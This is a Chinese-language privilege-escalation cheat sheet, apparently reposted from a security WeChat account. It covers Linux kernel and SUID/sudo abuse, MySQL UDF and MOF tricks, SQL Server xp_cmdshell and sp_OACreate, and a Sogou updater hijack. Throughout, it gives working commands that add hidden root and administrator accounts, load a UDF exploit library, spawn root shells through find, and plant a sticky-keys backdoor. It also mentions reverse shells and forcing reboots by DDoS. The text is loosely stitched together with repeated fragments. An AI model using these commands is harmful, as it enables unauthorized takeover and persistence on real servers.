被控制端发起的shell---通常用于被控制端因防火墙受限，权限不足、端口被占用
系统溢出漏洞操作说明
linux基础信息收集
uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root
(1)#内核漏洞提权
方法：
通过信息收集方式得知linux内核版本
使用searchspolit搜索相应版本漏洞
例：searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10
找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp， wget http://127.0.0.1/xx.c
编译，gcc xxx.c -o exp
(2)#SUID提权
概念
SUID（设置用户ID）是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。
特点
SUID 权限仅对二进制程序有效
执行者对于该程序需要有可执行权限(x权限)
SUID 权限仅仅在程序执行过程中有效
执行该程序时，执行者将具有该程序拥有者的权限
列出来的所有文件都是以root用户权限来执行的，接下来找到可以提权的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用的可用于suid提权的文件
Nmap、Vim、find、Bash、More、Less、cp
(3)#nmap提权
较旧版本的Nmap（2.02至5.21）带有交互模式，从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。
方法一：
启动交互模式，使用nmap --interactive
!sh #执行之后将提供一个提权后的shell。
方法二：
Metasploit模块，也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
(4)#find提权
实用程序find用来在系统中查找文件。同时，它也有执行命令的能力。因此，如果配置为使用SUID权限运行，则可以通过find执行的命令都将以root身份去运行。
(5)#sudo提权
sudo命令以系统管理者的身份执行指令，也就是说，经由 sudo 所执行的指令就好像是 root 亲自执行。
sudo 表示 “superuser do”。它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而，大部分时候我们用它来以提升的权限来运行命令。
linux内核提权示例
1.使用nc或lcx反弹到攻击者的电脑
2.使用 uname –a 查看Linux 版本内核等系统信息
3.在exploit库中寻找相应系统版本和内核的漏洞利用模块。（www.exploit-db.com）
4.上传exp到目标服务器中，chmod 777赋予exp权限，需要进行编译的先进行编译。
5.提权后便可以添加ssh用户 （useradd -o -u 0 -g 0 username）
通过webshell上传ft.pl，为了等下的反弹shell
数据库获取网站数据库的账号和密码
--通过读取一些数据库配置文件
数据库配置文件：命令规则（data、sql、inc、config、conn、database等）
--通过mysql数据库的user表
数据库安装文件：安装目录下data/mysql/user.myd
frm:描述表结构文件，字段长度
myi：索引信息
myd：数据库信息文件，存储数据信息
udf文件:udf(user-defined-function)是mysql得一个拓展接口，也称为用户自定义函数，用户通过自定义函数来实现在mysql中无法方便实现得功能
udf文件后缀名: .dll（windows）linux后缀名：.so
已知root账号和密码，利用root权限，创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候，其中的调用函数拿出来当作mysql函数来使用
注意事项
mysql版本小于5.1版本，udf.dll文件在windows2003下放在：c:\windows\system32。在windows2000放在：c:\winnt\system32
mysql版本大于5.1版本，udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。
create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’；
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
mof文件:mof文件是mysql数据库的扩展文件
存放路径（C:/windows/system32/wbem/mof/nullevt.mof）
其作用是每隔5秒就会去监控进程创建和死亡。
提权条件
1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null
提权原理
mof文件每5秒就会执行，而且是系统权限，我们可以通过load_file将文件写入/wbme/mof，然后系统每5秒就会执行一次我们上传的mof
mof当中是一段vbs脚本，通过通过控制vbs脚本让系统执行命令，进行提权。
提权条件
1、获取数据库的账号和密码，同时能够执行查询命令。
2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin
3、授权mysql数据库远程用户的登录
提权原理
使用mysql写文件，写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启
提权条件
secure_file_priv不为null
已知账号和密码
上传脚本进行监听
靶机连接数据库
查看版本
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
执行命令存储过程：xp_cmshell、sp_OACreate
注册表存储过程：xp_regwrite
存储过程
其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体，我们就称为“存储过程”
（1）xp_cmdshell解释
Xp_cmdshell是sqlserver中的组件，可以以操作系统命令解释器的方式执行给定的命令字符串，并以文本行方式返回任何输出。可以用来执行系统命令
（2）xp_cmdshell开启
默认在sql server2000中是开启的，在sqlserver2005之后的版本默认禁止。如果我们有sa权限，可以用命令开启
exec sp_configure ‘show advanced options’ , 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 1;reconfigure;
xp_cmdshell 关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
开启组件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
sp_OACreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
[email protected],'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
[email protected],'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
（4）使用注册表存储过程：xp_regwrite
（1）mysql版本小于5.1版本，udf.dll文件在windows2003下放在：c:\windows\system32。在windows2000放在：c:\winnt\system32 （2）mysql版本大于5.1版本，udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。 （3）利用udf文件加载函数执行命令
```shell
create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’；
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
用蚁剑连接一句话木马，执行蚁剑的数据库功能模块（可以执行SQL语句），查看版本（5.5.53>5.1），udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹，需要自己创建。
net user ndsec ndsecpw /add
net user localgroup administrators ndsec /add
第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件，功能十分强大，有些甚至是从工作站转移过来的，可以这么说，非线性编辑系统之所以能做到效果变幻莫测，匪夷所思，吸引众人的视线，完全取决于第三方软件。第三方软件提权，就是利用第三方软件存在的漏洞来进行获取一个权限的操作。
Sogou输入法提权示例
由于搜狗输入法默认设置是自动更新（很少有人去更改这个设置），更新程序没有对exe做任何校验直接在输入法升级时调用运行，导致可以执行恶意代码。
在获取webshell的前提下，在D盘下找到了搜狗的路径
注：如有侵权请联系删除
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”
文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247532178&idx=1&sn=a3d90b1e059cfb97d9858af1dcbd3610&chksm=f9e311c9ce9498dfb89a2ae4fc9616ab58c228d93321d8d8977a550539d8adc9256034c4987c#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh